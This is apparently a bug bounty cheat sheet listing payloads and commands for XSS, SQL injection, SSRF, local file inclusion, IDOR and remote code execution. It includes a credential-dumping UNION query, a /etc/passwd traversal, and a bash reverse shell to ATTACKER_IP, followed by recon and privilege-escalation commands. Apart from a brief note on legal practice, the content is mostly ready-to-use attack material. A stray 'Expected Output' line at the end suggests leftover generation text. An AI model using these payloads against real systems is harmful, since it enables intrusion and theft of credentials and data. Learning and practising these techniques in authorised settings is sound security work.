Bug bounty hunting and penetration testing require a deep understanding of vulnerabilities and exploitation techniques. This cheat sheet is a comprehensive resource covering critical vulnerabilities like XSS, SQLi, SSRF, LFI, IDOR, RCE, and more, along with payload lists and exploitation methods.

You Should Know:
1. Cross-Site Scripting (XSS)
- Payloads:
<script>alert(1)</script> <img src=x onerror=alert(1)>
- Testing Command (Using cURL):
curl -X GET "https://example.com/search?q=<script>alert(1)</script>"
2. SQL Injection (SQLi)
- Basic Payload:
' OR 1=1 -- " UNION SELECT username, password FROM users --
- Automated Testing with SQLmap:
sqlmap -u "https://example.com/login?id=1" --dbs
3. Server-Side Request Forgery (SSRF)
- Payload:
https://internal-server.local/admin
- Testing with Netcat:
nc -lvnp 8080
Then force the server to call your listener.
4. Local File Inclusion (LFI)
- Payload:
/etc/passwd ../../../../etc/passwd
- Exploit with PHP Wrapper:
php://filter/convert.base64-encode/resource=index.php
5. Insecure Direct Object Reference (IDOR)
- Manual Testing:
Change `user_id=123` to `user_id=124` to check for access control flaws.
6. Remote Code Execution (RCE)
- Basic Payload (PHP):
system('whoami'); - Exploit with Reverse Shell:
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
What Undercode Say:
Bug bounty hunting is not just about running tools but understanding vulnerabilities deeply. Practice these commands and payloads in legal environments like Hack The Box, TryHackMe, or Bugcrowd’s VDP programs. Always follow responsible disclosure and avoid unauthorized testing.
Additional Linux & Windows Commands for Hunters:
- Linux Recon:
nmap -sV -A target.com dirb https://target.com /usr/share/wordlists/dirb/common.txt
- Windows Privilege Escalation:
whoami /priv systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
- Web App Testing:
ffuf -u https://target.com/FUZZ -w wordlist.txt
Expected Output:
A well-structured, actionable cheat sheet with verified payloads and commands to enhance your bug bounty efficiency.
